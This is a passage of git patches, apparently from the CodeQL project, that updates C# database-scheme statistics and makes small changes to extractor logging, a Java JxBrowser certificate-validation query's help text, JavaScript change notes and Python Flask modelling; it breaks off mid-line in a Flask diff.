+8099 5 8 -3990 +7753 8 50 -1807 +3511 @@ -41975,27 +42459,27 @@ 1 2 -32232 +62626 2 3 -11030 +21430 3 4 -3334 +6477 4 8 -4507 +8757 8 2134 -3569 +6935 @@ -42011,27 +42495,27 @@ 1 2 -32232 +62626 2 3 -11067 +21503 3 4 -3321 +6453 4 8 -4514 +8771 8 1400 -3537 +6872 @@ -42047,17 +42531,17 @@ 1 2 -46012 +89399 2 3 -5645 +10968 3 568 -3015 +5859 @@ -42073,27 +42557,27 @@ 1 2 -16169 +31415 2 3 -3868 +7515 3 4 -1636 +3180 4 8 -2246 +4364 8 15452 -1722 +3346 @@ -42109,27 +42593,27 @@ 1 2 -17089 +33202 2 3 -3617 +7028 3 4 -1566 +3044 4 8 -1987 +3862 8 5858 -1381 +2683 @@ -42145,22 +42629,22 @@ 1 2 -20548 +39924 2 3 -2732 +5308 3 12 -1955 +3799 12 6253 -406 +789 @@ -42170,23 +42654,23 @@ cil_event -10726 +20841 id -10726 +20841 parent -3324 +6458 name -6723 +13062 event_type -3497 +6794 @@ -42200,7 +42684,7 @@ 1 2 -10726 +20841 @@ -42216,7 +42700,7 @@ 1 2 -10726 +20841 @@ -42232,7 +42716,7 @@ 1 2 -10726 +20841 @@ -42248,17 +42732,17 @@ 1 2 -2955 +5742 2 7 -253 +491 7 465 -115 +224 @@ -42274,17 +42758,17 @@ 1 2 -2955 +5742 2 7 -253 +491 7 465 -115 +224 @@ -42300,17 +42784,17 @@ 1 2 -3045 +5917 2 20 -250 +487 30 181 -27 +53 @@ -42326,17 +42810,17 @@ 1 2 -5998 +11655 2 4 -496 +964 4 566 -228 +443 @@ -42352,17 +42836,17 @@ 1 2 -5998 +11655 2 4 -496 +964 4 566 -228 +443 @@ -42378,12 +42862,12 @@ 1 2 -6417 +12468 2 566 -305 +594 @@ -42399,27 +42883,27 @@ 1 2 -486 +944 2 3 -2323 +4515 3 4 -300 +584 4 8 -295 +574 8 318 -90 +175 @@ -42435,17 +42919,17 @@ 1 2 -731 +1422 2 3 -2617 +5084 3 32 -147 +287 @@ -42461,27 +42945,27 @@ 1 2 -674 +1310 2 3 -2236 +4344 3 4 -255 +496 4 10 -273 +530 10 243 -57 +112 @@ -42491,23 +42975,23 @@ cil_local_variable -592197 +1150595 id -592197 +1150595 impl -179424 +348608 index -355 +691 var_type -79371 +154212 @@ -42521,7 +43005,7 @@ 1 2 -592197 +1150595 @@ -42537,7 +43021,7 @@ 1 2 -592197 +1150595 @@ -42553,7 +43037,7 @@ 1 2 -592197 +1150595 @@ -42569,37 +43053,37 @@ 1 2 -71998 +139888 2 3 -31924 +62027 3 4 -25381 +49314 4 5 -12080 +23471 5 7 -16404 +31873 7 12 -14850 +28853 12 143 -6783 +13179 @@ -42615,37 +43099,37 @@ 1 2 -71998 +139888 2 3 -31924 +62027 3 4 -25381 +49314 4 5 -12080 +23471 5 7 -16404 +31873 7 12 -14850 +28853 12 143 -6783 +13179 @@ -42661,32 +43145,32 @@ 1 2 -86641 +168337 2 3 -36085 +70112 3 4 -19523 +37932 4 5 -10623 +20641 5 7 -14238 +27664 7 47 -12311 +23919 @@ -42702,62 +43186,62 @@ 1 2 -35 +68 2 3 -45 +87 3 5 -32 +63 5 7 -25 +48 7 8 -32 +63 8 13 -32 +63 13 19 -27 +53 21 51 -27 +53 56 167 -27 +53 182 829 -27 +53 1008 8631 -27 +53 11398 71575 -15 +29 @@ -42773,62 +43257,62 @@ 1 2 -35 +68 2 3 -45 +87 3 5 -32 +63 5 7 -25 +48 7 8 -32 +63 8 13 -32 +63 13 19 -27 +53 21 51 -27 +53 56 167 -27 +53 182 829 -27 +53 1008 8631 -27 +53 11398 71575 -15 +29 @@ -42844,67 +43328,67 @@ 1 2 -37 +73 2 3 -47 +92 3 4 -30 +58 4 5 -12 +24 5 6 -30 +58 6 8 -30 +58 8 11 -22 +43 11 18 -27 +53 19 42 -27 +53 52 110 -27 +53 143 539 -27 +53 599 4919 -27 +53 7226 19498 -7 +14 @@ -42920,37 +43404,37 @@ 1 2 -41836 +81285 2 3 -14018 +27236 3 4 -4309 +8372 4 5 -6084 +11820 5 8 -6580 +12785 8 76 -5956 +11572 76 35712 -586 +1139 @@ -42966,32 +43450,32 @@ 1 2 -43909 +85313 2 3 -15943 +30976 3 4 -4314 +8382 4 5 -6021 +11699 5 14 -6186 +12020 14 21451 -2995 +5820 @@ -43007,27 +43491,27 @@ 1 2 -49725 +96613 2 3 -14757 +28673 3 4 -7086 +13769 4 9 -6104 +11859 9 122 -1697 +3297 @@ -43090,35 +43574,35 @@ cil_handler -52214 +101449 id -52214 +101449 impl -36760 +71422 index -40 +77 kind -10 +19 try_start -50239 +97611 try_end -51380 +99827 handler_start -52214 +101449 @@ -43132,7 +43616,7 @@ 1 2 -52214 +101449 @@ -43148,7 +43632,7 @@ 1 2 -52214 +101449 @@ -43164,7 +43648,7 @@ 1 2 -52214 +101449 @@ -43180,7 +43664,7 @@ 1 2 -52214 +101449 @@ -43196,7 +43680,7 @@ 1 2 -52214 +101449 @@ -43212,7 +43696,7 @@ 1 2 -52214 +101449 @@ -43228,22 +43712,22 @@ 1 2 -27677 +53776 2 3 -5740 +11153 3 5 -2792 +5425 5 17 -548 +1066 @@ -43259,22 +43743,22 @@ 1 2 -27677 +53776 2 3 -5740 +11153 3 5 -2792 +5425 5 17 -548 +1066 @@ -43290,17 +43774,17 @@ 1 2 -31839 +61861 2 3 -4805 +9336 3 4 -115 +224 @@ -43316,22 +43800,22 @@ 1 2 -28206 +54803 2 3 -5582 +10846 3 7 -2845 +5528 7 15 -125 +243 @@ -43347,22 +43831,22 @@ 1 2 -27961 +54326 2 3 -5695 +11065 3 6 -2842 +5523 6 16 -260 +506 @@ -43378,22 +43862,22 @@ 1 2 -27677 +53776 2 3 -5740 +11153 3 5 -2792 +5425 5 17 -548 +1066 @@ -43409,77 +43893,77 @@ 1 2 -2 +4 2 3 -5 +9 4 5 -2 +4 9 10 -2 +4 11 12 -2 +4 20 21 -2 +4 27 28 -2 +4 40 41 -2 +4 66 67 -2 +4 123 124 -2 +4 219 220 -2 +4 685 686 -2 +4 1333 1334 -2 +4 3623 3624 -2 +4 14664 14665 -2 +4 @@ -43495,77 +43979,77 @@ 1 2 -2 +4 2 3 -5 +9 4 5 -2 +4 9 10 -2 +4 11 12 -2 +4 20 21 -2 +4 27 28 -2 +4 40 41 -2 +4 66 67 -2 +4 123 124 -2 +4 219 220 -2 +4 685 686 -2 +4 1333 1334 -2 +4 3623 3624 -2 +4 14664 14665 -2 +4 @@ -43581,22 +44065,22 @@ 1 2 -5 +9 2 3 -15 +29 3 4 -7 +14 4 5 -12 +24 @@ -43612,77 +44096,77 @@ 1 2 -2 +4 2 3 -5 +9 4 5 -2 +4 9 10 -2 +4 11 12 -2 +4 20 21 -2 +4 27 28 -2 +4 40 41 -2 +4 66 67 -2 +4 123 124 -2 +4 219 220 -2 +4 685 686 -2 +4 1333 1334 -2 +4 3623 3624 -2 +4 14664 14665 -2 +4 @@ -43698,77 +44182,77 @@ 1 2 -2 +4 2 3 -5 +9 4 5 -2 +4 9 10 -2 +4 11 12 -2 +4 20 21 -2 +4 27 28 -2 +4 40 41 -2 +4 66 67 -2 +4 123 124 -2 +4 219 220 -2 +4 685 686 -2 +4 1333 1334 -2 +4 3623 3624 -2 +4 14664 14665 -2 +4 @@ -43784,77 +44268,77 @@ 1 2 -2 +4 2 3 -5 +9 4 5 -2 +4 9 10 -2 +4 11 12 -2 +4 20 21 -2 +4 27 28 -2 +4 40 41 -2 +4 66 67 -2 +4 123 124 -2 +4 219 220 -2 +4 685 686 -2 +4 1333 1334 -2 +4 3623 3624 -2 +4 14664 14665 -2 +4 @@ -43870,22 +44354,22 @@ 166 167 -2 +4 302 303 -2 +4 8994 8995 -2 +4 11367 11368 -2 +4 @@ -43901,22 +44385,22 @@ 148 149 -2 +4 302 303 -2 +4 7560 7561 -2 +4 8663 8664 -2 +4 @@ -43932,22 +44416,22 @@ 5 6 -2 +4 8 9 -2 +4 14 15 -2 +4 16 17 -2 +4 @@ -43963,22 +44447,22 @@ 159 160 -2 +4 302 303 -2 +4 8695 8696 -2 +4 11363 11364 -2 +4 @@ -43994,22 +44478,22 @@ 159 160 -2 +4 302 303 -2 +4 8704 8705 -2 +4 11367 11368 -2 +4 @@ -44025,22 +44509,22 @@ 166 167 -2 +4 302 303 -2 +4 8994 8995 -2 +4 11367 11368 -2 +4 @@ -44056,12 +44540,12 @@ 1 2 -48542 +94314 2 8 -1697 +3297 @@ -44077,7 +44561,7 @@ 1 2 -50239 +97611 @@ -44093,12 +44577,12 @@ 1 2 -48542 +94314 2 8 -1697 +3297 @@ -44114,12 +44598,12 @@ 1 2 -49076 +95351 2 4 -1163 +2259 @@ -44135,12 +44619,12 @@ 1 2 -49098 +95395 2 3 -1140 +2216 @@ -44156,12 +44640,12 @@ 1 2 -48542 +94314 2 8 -1697 +3297 @@ -44177,12 +44661,12 @@ 1 2 -50748 +98600 2 7 -631 +1227 @@ -44198,7 +44682,7 @@ 1 2 -51380 +99827 @@ -44214,12 +44698,12 @@ 1 2 -50748 +98600 2 7 -631 +1227 @@ -44235,12 +44719,12 @@ 1 2 -51289 +99652 2 3 -90 +175 @@ -44256,7 +44740,7 @@ 1 2 -51380 +99827 @@ -44272,12 +44756,12 @@ 1 2 -50748 +98600 2 7 -631 +1227 @@ -44293,7 +44777,7 @@ 1 2 -52214 +101449 @@ -44309,7 +44793,7 @@ 1 2 -52214 +101449 @@ -44325,7 +44809,7 @@ 1 2 -52214 +101449 @@ -44341,7 +44825,7 @@ 1 2 -52214 +101449 @@ -44357,7 +44841,7 @@ 1 2 -52214 +101449 @@ -44373,7 +44857,7 @@ 1 2 -52214 +101449 @@ -44383,15 +44867,15 @@ cil_handler_filter -416 +808 id -416 +808 filter_start -416 +808 @@ -44405,7 +44889,7 @@ 1 2 -416 +808 @@ -44421,7 +44905,7 @@ 1 2 -416 +808 @@ -44431,15 +44915,15 @@ cil_handler_type -22546 +43806 id -22546 +43806 catch_type -649 +1261 @@ -44453,7 +44937,7 @@ 1 2 -22546 +43806 @@ -44469,42 +44953,42 @@ 1 2 -225 +438 2 3 -137 +267 3 4 -77 +150 4 5 -52 +102 5 8 -50 +97 8 16 -52 +102 16 2589 -50 +97 3495 3496 -2 +4 @@ -44514,15 +44998,15 @@ cil_method_stack_size -888189 +1725686 method -888189 +1725686 size -82 +160 @@ -44536,7 +45020,7 @@ 1 2 -888189 +1725686 @@ -44552,62 +45036,62 @@ 1 2 -5 +9 4 5 -5 +9 5 7 -7 +14 7 10 -7 +14 10 14 -7 +14 14 19 -7 +14 54 75 -7 +14 99 326 -7 +14 814 2665 -7 +14 3004 5050 -7 +14 8726 20803 -7 +14 23498 270374 -5 +9 @@ -44617,110 +45101,110 @@ cil_public -982987 +1909872 id -982987 +1909872 cil_private -477765 +928262 id -477765 +928262 cil_protected -935332 +1817282 id -935332 +1817282 cil_internal -23052 +41663 id -23052 +41663 cil_static -408907 +794476 id -408907 +794476 cil_sealed -183415 +356362 id -183415 +356362 cil_virtual -348562 +677231 id -348562 +677231 cil_abstract -84971 +165093 id -84971 +165093 cil_class -122717 +238430 id -122717 +238430 cil_interface -8513 +16540 id -8513 +16540 @@ -44749,37 +45233,37 @@ cil_specialname -417180 +810549 id -417180 +810549 cil_newslot -217219 +422041 id -217219 +422041 cil_base_class -121182 +235449 id -121182 +235449 base -11012 +21396 @@ -44793,7 +45277,7 @@ 1 2 -121182 +235449 @@ -44809,32 +45293,32 @@ 1 2 -6334 +12307 2 3 -1985 +3857 3 4 -829 +1612 4 7 -972 +1889 7 84 -827 +1607 86 23834 -62 +121 @@ -44844,15 +45328,15 @@ cil_base_interface -64405 +125135 id -35286 +68558 base -16046 +31176 @@ -44866,27 +45350,27 @@ 1 2 -24534 +47668 2 3 -4173 +8109 3 5 -3221 +6258 5 9 -2765 +5372 9 25 -591 +1149 @@ -44902,27 +45386,27 @@ 1 2 -11561 +22463 2 3 -1764 +3428 3 5 -1296 +2518 5 30 -1205 +2342 30 2180 -218 +423 @@ -44932,15 +45416,15 @@ cil_enum_underlying_type -7237 +14061 id -7237 +14061 underlying -20 +38 @@ -44954,7 +45438,7 @@ 1 2 -7237 +14061 @@ -44970,42 +45454,42 @@ 5 6 -2 +4 6 7 -2 +4 25 26 -2 +4 31 32 -2 +4 41 42 -2 +4 173 174 -2 +4 291 292 -2 +4 2315 2316 -2 +4 @@ -45015,19 +45499,19 @@ cil_type_parameter -95089 +184751 unbound -53453 +103855 index -52 +102 param -95089 +184751 @@ -45041,22 +45525,22 @@ 1 2 -38572 +74943 2 3 -9774 +18990 3 13 -4196 +8153 13 22 -909 +1768 @@ -45072,22 +45556,22 @@ 1 2 -38572 +74943 2 3 -9774 +18990 3 13 -4196 +8153 13 22 -909 +1768 @@ -45103,107 +45587,107 @@ 8 9 -2 +4 14 15 -2 +4 21 22 -2 +4 27 28 -2 +4 65 66 -2 +4 132 133 -2 +4 207 208 -2 +4 285 286 -2 +4 363 364 -2 +4 441 442 -2 +4 519 520 -2 +4 598 599 -2 +4 680 681 -2 +4 791 792 -2 +4 891 892 -2 +4 1012 1013 -2 +4 1173 1174 -2 +4 1409 1410 -2 +4 2037 2038 -2 +4 5936 5937 -2 +4 21323 21324 -2 +4 @@ -45219,107 +45703,107 @@ 8 9 -2 +4 14 15 -2 +4 21 22 -2 +4 27 28 -2 +4 65 66 -2 +4 132 133 -2 +4 207 208 -2 +4 285 286 -2 +4 363 364 -2 +4 441 442 -2 +4 519 520 -2 +4 598 599 -2 +4 680 681 -2 +4 791 792 -2 +4 891 892 -2 +4 1012 1013 -2 +4 1173 1174 -2 +4 1409 1410 -2 +4 2037 2038 -2 +4 5936 5937 -2 +4 21323 21324 -2 +4 @@ -45335,7 +45819,7 @@ 1 2 -95089 +184751 @@ -45351,7 +45835,7 @@ 1 2 -95089 +184751 @@ -45361,19 +45845,19 @@ cil_type_argument -379309 +736969 bound -247697 +481258 index -52 +102 t -129781 +252155 @@ -45387,17 +45871,17 @@ 1 2 -172996 +336119 2 3 -60392 +117337 3 22 -14309 +27801 @@ -45413,17 +45897,17 @@ 1 2 -175521 +341024 2 3 -59304 +115223 3 22 -12872 +25010 @@ -45439,97 +45923,97 @@ 3 4 -5 +9 4 5 -5 +9 84 85 -2 +4 205 206 -2 +4 343 344 -2 +4 482 483 -2 +4 621 622 -2 +4 760 761 -2 +4 899 900 -2 +4 1044 1045 -2 +4 1189 1190 -2 +4 1601 1602 -2 +4 1810 1811 -2 +4 2091 2092 -2 +4 2513 2514 -2 +4 3338 3339 -2 +4 5708 5709 -2 +4 29799 29800 -2 +4 98809 98810 -2 +4 @@ -45545,97 +46029,97 @@ 3 4 -7 +14 4 5 -2 +4 49 50 -2 +4 116 117 -2 +4 185 186 -2 +4 254 255 -2 +4 322 323 -2 +4 390 391 -2 +4 457 458 -2 +4 531 532 -2 +4 602 603 -2 +4 925 926 -2 +4 927 928 -2 +4 1083 1084 -2 +4 1307 1308 -2 +4 1645 1646 -2 +4 2968 2969 -2 +4 14488 14489 -2 +4 39680 39681 -2 +4 @@ -45651,27 +46135,27 @@ 1 2 -51623 +100300 2 3 -37437 +72737 3 4 -21864 +42481 4 6 -10345 +20100 6 4208 -8510 +16535 @@ -45687,17 +46171,17 @@ 1 2 -98187 +190771 2 3 -28552 +55476 3 20 -3040 +5908 @@ -45798,19 +46282,19 @@ cil_attribute -168950 +328258 attributeid -168950 +328258 element -127933 +248565 constructor -1737 +3375 @@ -45824,7 +46308,7 @@ 1 2 -168950 +328258 @@ -45840,7 +46324,7 @@ 1 2 -168950 +328258 @@ -45856,17 +46340,17 @@ 1 2 -101559 +197322 2 3 -18883 +36690 3 92 -7490 +14553 @@ -45882,17 +46366,17 @@ 1 2 -109719 +213176 2 3 -15950 +30991 3 7 -2263 +4398 @@ -45908,57 +46392,57 @@ 1 2 -285 +555 2 3 -205 +399 3 4 -147 +287 4 5 -162 +316 5 8 -157 +306 8 11 -135 +263 11 19 -137 +267 19 33 -132 +258 33 64 -130 +253 64 179 -130 +253 187 15289 -110 +214 @@ -45974,57 +46458,57 @@ 1 2 -308 +599 2 3 -198 +384 3 4 -145 +282 4 5 -162 +316 5 7 -125 +243 7 10 -145 +282 10 17 -130 +253 17 31 -135 +263 31 50 -132 +258 50 151 -130 +253 152 15028 -122 +238 @@ -46034,19 +46518,19 @@ cil_attribute_named_argument -7973 +10939 attribute_id -4938 +7978 param -25 +155 value -128 +1095 @@ -46060,17 +46544,17 @@ 1 2 -1911 +5089 2 3 -3020 +2815 3 4 -7 +73 @@ -46086,17 +46570,17 @@ 1 2 -3839 +6560 2 3 -1095 +1402 3 4 -4 +14 @@ -46112,62 +46596,67 @@ 1 2 -3 +34 2 -3 -2 +4 +9 + + +4 +5 +9 5 -7 -2 +6 +14 7 -9 -2 +8 +4 -11 -14 -2 +8 +9 +14 + + +9 +11 +9 14 -19 -2 +30 +9 -19 -20 -1 +32 +43 +9 -22 -23 -2 +46 +47 +9 -26 -39 -2 +47 +48 +9 -55 -61 -2 +96 +308 +9 -347 -348 -2 - - -2859 -3660 -2 +725 +731 +9 @@ -46183,42 +46672,37 @@ 1 2 -8 +77 2 3 -5 +19 3 4 -2 +19 4 -6 -2 - - -6 -7 -1 - - -7 8 -2 +9 -9 -11 -2 +10 +14 +9 26 -39 -2 +45 +9 + + +47 +56 +9 @@ -46234,32 +46718,22 @@ 1 2 -71 +720 2 3 -25 +238 3 -4 -6 +5 +82 -4 -7 -11 - - -8 -301 -10 - - -347 -3871 -3 +5 +866 +53 @@ -46275,12 +46749,12 @@ 1 2 -120 +1066 2 -7 -8 +10 +29 @@ -46290,19 +46764,19 @@ cil_attribute_positional_argument -58735 +103139 attribute_id -57269 +97017 index -5 +29 value -4430 +17261 @@ -46316,12 +46790,12 @@ 1 2 -55901 +92336 2 -6 -1368 +7 +4680 @@ -46337,12 +46811,12 @@ 1 2 -55905 +92346 2 -5 -1364 +7 +4670 @@ -46356,29 +46830,34 @@ 12 -20 -21 -1 +14 +15 +4 -21 -22 -1 +24 +25 +4 -57 -58 -1 +117 +118 +4 -1368 -1369 -1 +141 +142 +4 -57269 -57270 -1 +961 +962 +4 + + +19919 +19920 +4 @@ -46392,24 +46871,29 @@ 12 -3 -4 -2 +4 +5 +4 5 6 -1 +9 -110 -111 -1 +25 +26 +4 -4331 -4332 -1 +433 +434 +4 + + +3150 +3151 +4 @@ -46425,27 +46909,22 @@ 1 2 -2894 +12298 2 3 -723 +2527 3 -4 -215 +6 +1446 -4 -9 -382 - - -9 -17524 -216 +6 +5556 +988 @@ -46461,12 +46940,12 @@ 1 2 -4414 +16935 2 6 -16 +326 @@ -46476,19 +46955,19 @@ metadata_handle -3178070 +6174756 entity -2925983 +5684969 location -1757 +3414 handle -141034 +274019 @@ -46502,17 +46981,17 @@ 1 2 -2683251 +5213358 2 3 -238091 +462594 3 638 -4640 +9015 @@ -46528,12 +47007,12 @@ 1 2 -2802586 +5445218 2 59 -123396 +239750 @@ -46549,72 +47028,72 @@ 1 3 -147 +287 3 36 -132 +258 36 79 -137 +267 79 130 -132 +258 130 200 -132 +258 200 288 -132 +258 288 400 -132 +258 403 527 -132 +258 528 744 -132 +258 747 1109 -135 +263 1116 1915 -132 +258 1920 4051 -132 +258 4053 50922 -132 +258 67370 92454 -7 +14 @@ -46630,67 +47109,67 @@ 1 2 -147 +287 3 20 -145 +282 20 46 -137 +267 46 76 -135 +263 77 119 -132 +258 119 176 -132 +258 176 253 -132 +258 255 332 -135 +263 338 481 -132 +258 483 683 -132 +258 685 1273 -132 +258 1295 2685 -132 +258 2710 55264 -125 +243 @@ -46706,62 +47185,62 @@ 1 2 -9741 +18927 2 3 -23163 +45004 3 5 -12303 +23904 5 6 -9009 +17504 6 7 -15504 +30124 7 9 -9761 +18966 9 11 -11363 +22078 11 13 -10822 +21026 13 21 -11042 +21454 21 39 -10869 +21118 39 83 -10583 +20563 83 1061 -6868 +13345 @@ -46777,52 +47256,52 @@ 1 2 -32363 +62879 2 3 -10852 +21084 3 4 -24173 +46967 4 5 -9741 +18927 5 6 -9979 +19389 6 7 -11350 +22054 7 11 -11982 +23281 11 19 -11315 +21985 19 41 -10729 +20846 41 702 -8545 +16603 From ef55ca179be065e052a6c8f7fd1c9f70044d5587 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Sat, 6 Feb 2021 21:13:55 +0100 Subject: [PATCH 1105/1241] Improve file read exception logging --- csharp/extractor/Semmle.Extraction/Entities/File.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction/Entities/File.cs b/csharp/extractor/Semmle.Extraction/Entities/File.cs index 4c339e49f7b..9ad618512a4 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/File.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/File.cs @@ -62,7 +62,7 @@ namespace Semmle.Extraction.Entities } catch (Exception exc) { - Context.ExtractionError($"Couldn't read file: {originalPath}", null, null, exc.StackTrace); + Context.ExtractionError($"Couldn't read file: {originalPath}. {exc.Message}", null, null, exc.StackTrace); } } From 2e30f2d9ceffcab4de4306ffa582402c11c30279 Mon Sep 17 00:00:00 2001 From: intrigus Date: Mon, 8 Feb 2021 00:05:02 +0100 Subject: [PATCH 1106/1241] Java: Fix QHelp & accept test output Accept test output for changed alert message. --- .../CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp | 8 +++++--- .../JxBrowserWithoutCertValidation.expected | 2 +- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp index 27d10c15223..38b37901c0c 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp @@ -11,9 +11,11 @@ Versions smaller than 6.24 by default ignore any HTTPS certificate errors thereb

    Do either of these: -

  • Update to version 6.24 or 7.x.x as these correctly reject certificate errors by default.
  • -
  • Add a custom implementation of the LoadHandler interface whose onCertificateError method always returns true indicating that loading should be cancelled. -Then use the setLoadHandler method with your custom LoadHandler on every Browser you use.
  • +
      +
    • Update to version 6.24 or 7.x.x as these correctly reject certificate errors by default.
    • +
    • Add a custom implementation of the LoadHandler interface whose onCertificateError method always returns true indicating that loading should be cancelled. + Then use the setLoadHandler method with your custom LoadHandler on every Browser you use.
    • +

    diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected index 9b611b6cfc9..605aca10a26 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected @@ -1 +1 @@ -| JxBrowserWithoutCertValidationV6_23_1.java:17:27:17:39 | new Browser(...) | This JxBrowser instance allows man-in-the-middle attacks. | +| JxBrowserWithoutCertValidationV6_23_1.java:17:27:17:39 | new Browser(...) | This JxBrowser instance may not check HTTPS certificates. | From 8ca75e41d2a500ce8835c80af932a9faa46d9c18 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 09:59:45 +0100 Subject: [PATCH 1107/1241] add change note --- javascript/change-notes/2021-02-08-immutable.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/change-notes/2021-02-08-immutable.md diff --git a/javascript/change-notes/2021-02-08-immutable.md b/javascript/change-notes/2021-02-08-immutable.md new file mode 100644 index 00000000000..8f4a11113e2 --- /dev/null +++ b/javascript/change-notes/2021-02-08-immutable.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* The dataflow libraries now model dataflow in the Immutable.js library. + Affected packages are + [Immutable.js](https://npmjs.com/package/immutable) From 504db8739d9b895e6fdb07760ca71d40db5ab68a Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 10:00:26 +0100 Subject: [PATCH 1108/1241] fix typo in execa change-note file name --- .../change-notes/{202020-12-22-execa.md => 2020-12-22-execa.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename javascript/change-notes/{202020-12-22-execa.md => 2020-12-22-execa.md} (100%) diff --git a/javascript/change-notes/202020-12-22-execa.md b/javascript/change-notes/2020-12-22-execa.md similarity index 100% rename from javascript/change-notes/202020-12-22-execa.md rename to javascript/change-notes/2020-12-22-execa.md From bd50ed975f350749a1bb2fd65fdaf5a79f3b2274 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 8 Feb 2021 11:18:37 +0100 Subject: [PATCH 1109/1241] Fix doc comment --- csharp/ql/src/semmle/code/csharp/Stmt.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/Stmt.qll b/csharp/ql/src/semmle/code/csharp/Stmt.qll index 2846c3255ea..15199896390 100644 --- a/csharp/ql/src/semmle/code/csharp/Stmt.qll +++ b/csharp/ql/src/semmle/code/csharp/Stmt.qll @@ -588,7 +588,7 @@ class ForeachStmt extends LoopStmt, @foreach_stmt { /** Gets the called `MoveNext` or `MoveNextAsync` method. */ Method getMoveNext() { foreach_stmt_desugar(this, result, 3) } - /** Gets the called `Dispose` or `DisposeAsync` method. */ + /** Gets the called `Dispose` or `DisposeAsync` method, if any. */ Method getDispose() { foreach_stmt_desugar(this, result, 4) } /** Gets the called `Current` property. */ From 738d1bc3d46ac4e72e2ffc51dad9504b93094cca Mon Sep 17 00:00:00 2001 From: Taus Date: Mon, 8 Feb 2021 14:08:16 +0100 Subject: [PATCH 1110/1241] Python: More use of `API::Node` Co-authored-by: yoff --- python/ql/src/semmle/python/frameworks/Flask.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 3baa394ebcd..bfd1dac63ec 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -33,7 +33,7 @@ private module FlaskModel { API::Node request() { result = flask_attr("request") } /** Gets a reference to the `flask.make_response` function. */ - DataFlow::Node make_response() { result = flask_attr("make_response").getAUse() } + API::Node make_response() { result = flask_attr("make_response") } /** * Provides models for the `flask.Flask` class @@ -407,7 +407,7 @@ private module FlaskModel { override CallNode node; FlaskMakeResponseCall() { - node.getFunction() = flask::make_response().asCfgNode() + node.getFunction() = flask::make_response().getAUse().asCfgNode() or node.getFunction() = flask::Flask::make_response_().getAUse().asCfgNode() } From 2c4a477a4e2ba8eda5185feb2268154a7f5932a5 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Mon, 8 Feb 2021 14:08:34 +0100 Subject: [PATCH 1111/1241] Python: Support `moduleImport("dotted.name")` in API graphs --- python/ql/src/semmle/python/ApiGraphs.qll | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/ApiGraphs.qll b/python/ql/src/semmle/python/ApiGraphs.qll index 3169592c8b2..7ad2a795c73 100644 --- a/python/ql/src/semmle/python/ApiGraphs.qll +++ b/python/ql/src/semmle/python/ApiGraphs.qll @@ -209,12 +209,14 @@ module API { /** * Gets a node corresponding to an import of module `m`. - * - * Note: You should only use this predicate for top level modules. If you want nodes corresponding to a submodule, - * you should use `.getMember` on the parent module. For example, for nodes corresponding to the module `foo.bar`, - * use `moduleImport("foo").getMember("bar")`. */ - Node moduleImport(string m) { result = Impl::MkModuleImport(m) } + Node moduleImport(string m) { + result = Impl::MkModuleImport(m) + or + exists(string before_dot, string after_dot | before_dot + "." + after_dot = m | + result = moduleImport(before_dot).getMember(after_dot) + ) + } /** * Provides the actual implementation of API graphs, cached for performance. From 46eb3fd10ac911f2a0c4244fefd9641cf75d6ff2 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Mon, 8 Feb 2021 14:22:42 +0100 Subject: [PATCH 1112/1241] Python: Even more `API::Node` pushing. --- python/ql/src/semmle/python/frameworks/Flask.qll | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 51ef9b51d2f..1ac48689fd8 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -306,9 +306,9 @@ private module FlaskModel { private module FlaskRequestTracking { /** Gets a reference to either of the `get_json` or `get_data` attributes of a Flask request. */ - DataFlow::Node tainted_methods(string attr_name) { + API::Node tainted_methods(string attr_name) { attr_name in ["get_data", "get_json"] and - result = flask::request().getMember(attr_name).getAUse() + result = flask::request().getMember(attr_name) } } @@ -364,7 +364,7 @@ private module FlaskModel { ) or // methods (needs special handling to track bound-methods -- see `FlaskRequestMethodCallsAdditionalTaintStep` below) - this = FlaskRequestTracking::tainted_methods(attr_name) + this = FlaskRequestTracking::tainted_methods(attr_name).getAUse() } override string getSourceType() { result = "flask.request input" } @@ -374,7 +374,7 @@ private module FlaskModel { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { // NOTE: `request -> request.tainted_method` part is handled as part of RequestInputAccess // tainted_method -> tainted_method() - nodeFrom = 